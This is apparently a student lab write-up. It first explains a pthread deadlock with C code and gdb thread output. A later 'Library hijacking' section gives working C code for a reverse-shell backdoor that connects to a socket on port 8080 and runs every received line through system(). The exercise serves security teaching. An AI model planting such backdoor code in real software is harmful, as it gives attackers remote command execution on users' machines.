Deadlock

The executable hangs because a deadlock is produced. The deadlock is not perfect because a thread can acquire both resources and finish the execution.

Practic 1:
Initially, the program won't finish even if a deadlock won't appear. That's because if one of the threads will acquire both mutexes, then it will finish the execution without unlocking them, leaving the other thread waiting for them. That's why I made some changes to the thread function as follows: added unlock calls for each mutex and add a delay for each thread before acquiring the second resource (using 35 milliseconds as delay resulted in a program that was probable to end as well as to finish).

```
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

pthread_mutex_t mtx[2];
pthread_barrier_t bar;


void delay(int milliseconds)
{
   clock_t start_time = clock();

   while (clock() < start_time + milliseconds);
}

void * ThrFunc(void * p)
{
   int * param = (int *) p;
   pthread_mutex_lock(&mtx[*param]);
   delay(35);
   pthread_barrier_wait(&bar);
   pthread_mutex_lock(&mtx[1-*param]);
   pthread_mutex_unlock(&mtx[1-*param]);
   pthread_mutex_unlock(&mtx[*param]);
   printf("Thread %d is done.\n", *param);
   return 0;
}

int main()
{
   pthread_t thr1;
   pthread_t thr2;
   int i1 = 0, i2 = 1;
   pthread_mutex_init(&mtx[0], NULL);
   pthread_mutex_init(&mtx[1], NULL);
   pthread_barrier_init(&bar, NULL, 2);
   pthread_create(&thr1, NULL, ThrFunc, &i1);
   pthread_create(&thr2, NULL, ThrFunc, &i2);

   pthread_join(thr1, NULL);
   pthread_join(thr2, NULL);
   pthread_mutex_destroy(&mtx[0]);
   pthread_mutex_destroy(&mtx[1]);
   return 0;
}
```

Practic 2:
Command `info threads` display 2 threads: the main thread and one of the created threads (the second in my case). That happens because the first thread finished its acquired both resources and finished its execution. The second thread was waiting for one of the resources, and the main thread was waiting for both created threads to finish.

When debugging the second example, the command `info threads` returns 3 threads. This happens because now we have a perfect deadlock. Using the barrier we make sure that each thread is acquiring a resource before both are able to continue their execution and that's why none of them will finish (as happened in the first case). For the main thread, the same explanation applies, if any of the created threads have not finished, then the main thread will keep waiting for them.

Using command `info stack` on each thread we can see that both created threads have blocked when trying to acquire the second resource.

Library hijacking

Practic 3:

```
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define MAX 80
#define PORT 8080
#define SA struct sockaddr
void func(int sockfd)
{
   char buff[MAX];
   int n;
   for (;;) {
       strcpy(buff, "Waiting for command...");
       write(sockfd, buff, sizeof(buff));
       bzero(buff, sizeof(buff));
       read(sockfd, buff, sizeof(buff));
       if ((strncmp(buff, "exit", 4)) == 0) {
           printf("Client Exit...\n");
           break;
       }
       system(buff);
   }
}


int MyFunction()
{
       int sockfd, connfd;
   struct sockaddr_in servaddr, cli;
    // socket create and varification
```

```c
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        printf("socket creation failed...\n");
        exit(0);
    }
    else
        printf("Socket successfully created..\n");
    bzero(&servaddr, sizeof(servaddr));
     // assign IP, PORT
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    servaddr.sin_port = htons(PORT);
     // connect the client socket to server socket
    if (connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0) {
        printf("connection with the server failed...\n");
        exit(0);
    }
    else
        printf("connected to the server..\n");
     // function for chat
    func(sockfd);
     // close the socket
    close(sockfd);

    return 0;
}
```